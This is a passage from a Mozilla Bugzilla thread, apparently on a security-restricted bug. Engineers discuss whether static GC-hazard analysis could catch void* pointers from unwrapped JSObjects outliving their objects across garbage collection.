> and its return value's (foo's) lifetime is contained within the unwrapped obj's lifetime

Conceptually, yes.  On the C++ language level, no.  The logic we used to have looks kinda like this:

  void* GetFoo(JSObject* obj) {
    if (IsWrapper(obj)) {
      return GetFoo(Unwrap(obj));
    }

    return GetReservedSlot(obj, 0).toPrivate();
  }

or:

  void* GetFoo(JSObject* obj) {
    if (IsWrapper(obj)) {
      return GetReservedSlot(Unwrap(obj), 0).toPrivate();
    }

    return GetReservedSlot(obj, 0).toPrivate();
  }

but in either case the void* is outliving the JSObject* returned by Unwrap(), from a static-analysis point of view....

> unwrapped->GetFoo() is really something like XPCWrappedNative::Get(unwrapped), right?

It's dom::UnwrapDOMObject; see http://searchfox.org/mozilla-central/rev/1285ae3e810e2dbf2652c49ee539e3199fcfe820/dom/bindings/BindingUtils.h#155-164

But yes, conceptually pretty similar to XPCWrappedNative::Get.
(In reply to Boris Zbarsky [:bz] (no decent commit message means r-) from comment #101)
> > and its return value's (foo's) lifetime is contained within the unwrapped obj's lifetime
> 
> Conceptually, yes.  On the C++ language level, no.
> ...
> in either case the void* is outliving the JSObject* returned by
> Unwrap(), from a static-analysis point of view....

Right, exactly. I think we're saying the same thing.

But I should have paid more attention to the dead proxy bit. It's true that the case above is funky because obj can cease keeping Unwrap(obj) alive. But actually, the analysis doesn't know or care that obj is rooted. The HandleObject is meaningless to it. It just sees it as JSObject**, which doesn't require rooting.

So come to think of it, this is an interior pointer. obj->GetFoo() and Unwrap(obj)->GetFoo() are pretty much the same thing -- both return an interior pointer, and the analysis at least currently has no reason to believe that the interior pointer is going to survive the GC. Neither obj nor Unwrap(obj) is rooted in its point of view, though note that the analysis presently doesn't handle interior pointers anyway.

As is, this looks like a recipe for a massive number of false positives. It would at *least* need to know that HandleObject points to a rooted pointer. But I doubt that would be enough. Consider

  foo(HandleObject obj) {
    cobj = (CStruct*) obj.getPrivate();
    foo = GetFoo(cobj->GetSomeJSObjectMember());
    gc();
    use(foo);
  }

This is safe, because obj is rooted so everything else is going to stay alive. But the hypothetical analysis would scream because foo is an interior pointer in the temporary returned by cobj->GetSomeJSObjectMember(), and it has no reason to believe that it will stay alive. (And note this case also shows that treating HandleObject as rooted isn't all that helpful; obj might have a weak pointer to cobj, so you can't tell from this code whether obj really keeps cobj and cobj->mSomeJSObjectMember alive.)

Never mind, I'm not seeing much potential for the analysis to catch this case after all. The best I see is if we treated Unwrap() as returning an extra-volatile pointer that propagates its brittleness on any arbitrary call to the call's return value, and then check whether any brittle values are live across a GC. (It would be extra volatile because of the dead proxy possibility.) But that still seems like a lot of false positives and false negatives.

Well, the false negatives could be handled by saying if you Unwrap and then GC, you shouldn't touch any pointers at all. I won't be the judge of how problematic that might be.
> This is safe, because obj is rooted so everything else is going to stay alive.

Maybe, maybe not.  Just because cobj has a JS object member, doesn't mean it traces it.  It could instead clear it out on finalization.  For an example, see nsWrapperCache when not preserving the wrapper.

> so you can't tell from this code whether obj really keeps cobj and cobj->mSomeJSObjectMember alive.

Yep.
Group: core-security-release
Component: DOM → DOM: Core & HTML
Product: Core → Core
You need to log in before you can comment on or make changes to this bug.